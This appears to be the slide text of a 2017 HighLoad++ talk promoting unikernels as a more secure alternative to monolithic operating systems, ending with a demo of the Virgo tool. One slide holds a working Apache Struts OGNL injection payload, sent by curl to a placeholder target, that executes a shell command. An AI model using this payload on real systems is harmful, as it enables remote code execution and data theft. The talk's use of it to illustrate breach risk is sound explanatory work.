HighLoad++ 2017 Зал «Мумбай», 7 ноября, 11:00 Тезисы: http://www.highload.ru/2017/abstracts/2919.html The monolithic operating system has not changed much in the past forty years but hardware, software development, and the world in general has. As engineers we are stuck living under neolithic layers of digital mud while the ever increasing demand of security and efficiency beckon us more into the future. ...

1. Climbing Out From
the Digital Mud
with Unikernels
Ian Eyberg

2. JANUARY 1ST
1970

3. THE MONOLITHIC
OPERATING SYSTEM

4. DIGITAL MUD

5. HISTORY OF
SOFTWARE
DEPLOYMENT
OVER 4 DECADES

6. 1970

7. 1980

8. TEXT
1990

9. 2000

10. 2010

11. WHAT IS AN
OPERATING
SYSTEM?

12. WHAT IS AN APPLICATION?
7f 45 4c 46

13. security

14. pagerduty
alert

15. ulimits are off??
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable

16. sudo apt-get install emacs

18. 2 weeks later

20. SUDO OH-
FUCKING-SHIT

21. security
pain

22. 143M records of personal
information stolen

23. C I O A N D C I S O
“ R E T I R E D ”

24. F T C & & C F P B
I N V E S T I G AT I N G

25. M U LT I P L E C O N G R E S S I O N A L
H E A R I N G S

26. I N S I D E R T R A D I N G
I N V E S T I G AT I O N

27. D O Z E N S O F C L A S S
A C T I O N L AW S U I T S

29. curl i -s -k -x $’GET’
—H $'User-Agent: Mozilla/5.0' -H $'Content-Type: %{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#cmd='ls -lat /').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('w
in'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream(
))).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}'
$'https://target'

30. PA S S W O R D S ?
S H E L L ?
D B A C C E S S ?

31. THE FUTURE IS
UNIKERNELS

32. single
process

33. n
o
u
s
e
r
s

34. NO SHELL

36. OIL PLATFORM
WANTS TO SECURE
CONTROL DATA

37. BIO TECH FIRM
WANTS CHEAP
SECURE COMPUTE

38. NOTABLE
UNIKERNEL
PROJECTS

40. https://github.com/Solo5/solo5
u
n
i
c
o
r
e

41. TEXT
2.3MS BOOT TIME
sysml.neclab.eu/projects/lightvm

42. GO GET
GITHUB.COM/DEFERPANIC/
VIRGO

43. ▸ search for existing apps
▸ create a new app
▸ show running apps
▸ show installed apps
▸ run an app
▸ pull project
D E M O T I M E

44. GITHUB.COM/DEFERPANIC/VIRGO
SEARCH FOR EXISTING APP

45. CREATE NEW APP
GITHUB.COM/DEFERPANIC/VIRGO

46. THE FULL MONTY
GITHUB.COM/DEFERPANIC/VIRGO

47. GITHUB.COM/DEFERPANIC/VIRGO
SHOW RUNNING APPS

48. GITHUB.COM/DEFERPANIC/VIRGO
SHOW INSTALLED APPS

49. GITHUB.COM/DEFERPANIC/VIRGO
RUN AN APP

50. GITHUB.COM/DEFERPANIC/VIRGO PULL PROJECT

51. WHAT WILL YOU
BUILD?

52. EXTRA

54. TEXT